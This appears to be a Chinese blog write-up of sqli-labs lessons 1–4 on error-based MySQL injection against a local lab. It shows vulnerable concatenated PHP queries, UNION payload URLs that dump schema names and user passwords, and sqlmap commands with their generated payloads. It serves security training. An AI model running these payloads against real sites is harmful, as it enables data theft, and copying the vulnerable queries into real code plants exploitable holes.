Web安全-SQL注入:MySQL注入天书(1-4) Error Based

内容

MySQL注入天书 Less1 - Less4
都为Error-Based类型的SQL注入

手工注入##########

正常操作

输入一个参数id,返回两个参数,说明SELECT的至少有username和password两个字段,存放这两个字段的表至少有三个字段id, username, password
在这里插入图片描述
在这里插入图片描述

注入点判断

Less1中
单引号判断在id处有注入点
报错信息中一共5个单引号
在这里插入图片描述
说明在查询的代码中将传过来的id值作为字符型值拼接SQL语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

实际执行的是

SELECT * FROM users WHERE id='1'' LIMIT 0,1;

类似于
在这里插入图片描述

Less2中
加单引号判断的结果为

在这里插入图片描述
报错信息中一共三个单引号
说明代码中将传来的id值作为int型值拼接SQL语句

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

实际执行的是

$sql="SELECT * FROM users WHERE id=1' LIMIT 0,1";

类似于
在这里插入图片描述Less3中
加单引号判断的结果为
在这里插入图片描述报错信息中四个单引号+一个右括号+一个单引号
说明查询代码如下

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

实际执行的是

$sql="SELECT * FROM users WHERE id=('1'') LIMIT 0,1";

类似于
在这里插入图片描述
Less4中
加单引号并不报错
在这里插入图片描述
实际环境中还可能是对单引号做了过滤,所以不要太死板
换双引号试试
在这里插入图片描述一单+三双+右括号+一单
说明对id参数进行了("$id")的包装

$id = '"' . $id . '"';
// .运算符用于连接
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

如有wumingtest.php代码如下
在这里插入图片描述
运行结果为
在这里插入图片描述
所以查询代码类似于

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

实际执行的代码是

$sql="SELECT * FROM users WHERE id=("1"") LIMIT 0,1";

报错类似于
在这里插入图片描述

ORDER BY

Less1中
使用ORDER BY判断出表中有3个字段
在这里插入图片描述在这里插入图片描述Less2中
只需把Less1的payload的?id=1'改为?id=1,最后无需加注释符%23或–+处理单引号(因为没有)
在这里插入图片描述
不再赘述
Less3中
在这里插入图片描述Less4中
在这里插入图片描述

UNION

使用UNION确定到底SELECT了几个字段
首先用一个非法的id值-1,这样根据id选出来的字段值为空,可显示出UNION SELECT的结果
在这里插入图片描述在这里插入图片描述
四个值时报错说明SELECT * FROM tablename WHERE id=...的 * 只有三个字段
第二个字段选出的值显示到Your Login name
第三个字段选出的值显示到Your Password
在这里插入图片描述

爆数据库名

在UNION SELECT的基础上从INFORMATION_SCHEMA数据库中选出数据显示到浏览器上

http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1%27UNION%20SELECT%201,GROUP_CONCAT(SCHEMA_NAME),3%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23

爆出所有的数据库名
在这里插入图片描述

爆表名

查看数据库名为 security 的数据库的所有表

http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1%27UNION%20SELECT%201,GROUP_CONCAT(TABLE_NAME),3%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_SCHEMA=%27security%27%23

在这里插入图片描述

爆列名

查看users表的所有列

http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1%27UNION%20SELECT%201,GROUP_CONCAT(COLUMN_NAME),3%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=%27users%27%23

在这里插入图片描述

爆数据

http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1%27UNION%20SELECT%201,username,password%20FROM%20users%20WHERE%20id=10%23

在这里插入图片描述

sqlmap##########

注入点探测

sqlmap -u "192.168.1.25/sqli-labs/Less-1/index.php?id=1"

探测结果

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 3020=3020 AND 'oAZJ'='oAZJ

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 1270 FROM(SELECT COUNT(*),CONCAT(0x7162786b71,(SELECT (ELT(1270=1270,1))),0x716a707871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'WDxT'='WDxT

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'jatX'='jatX

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-5121' UNION ALL SELECT NULL,NULL,CONCAT(0x7162786b71,0x4664566b5a4663486d686f44494d56744c4171646256596a517257576a7374536778416d68667047,0x716a707871)-- QpmE
---
[11:38:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 7-1708
web application technology: Apache 2.4.6, PHP 5.4.16
back-end DBMS: MySQL >= 5.0

爆数据库名

sqlmap -u "192.168.1.25/sqli-labs/Less-1/index.php?id=1" --dbs

爆表名

sqlmap -u "192.168.1.25/sqli-labs/Less-1/index.php?id=1" -D security --tables

爆列名+数据

sqlmap -u "192.168.1.25/sqli-labs/Less-1/index.php?id=1" -D security -T users --dump

在这里插入图片描述

总结##########

Error-Based类型注入的基本特征

  1. 浏览器可以看到回显的SQL报错信息以及数据库中的信息来调整自己的payload
  2. 通常可由单双引号个数不匹配的报错信息判断注入点以及服务器对数据的处理方式
发布了61 篇原创文章 · 获赞 11 · 访问量 4862

猜你喜欢

转载自blog.csdn.net/weixin_43249758/article/details/104105749
今日推荐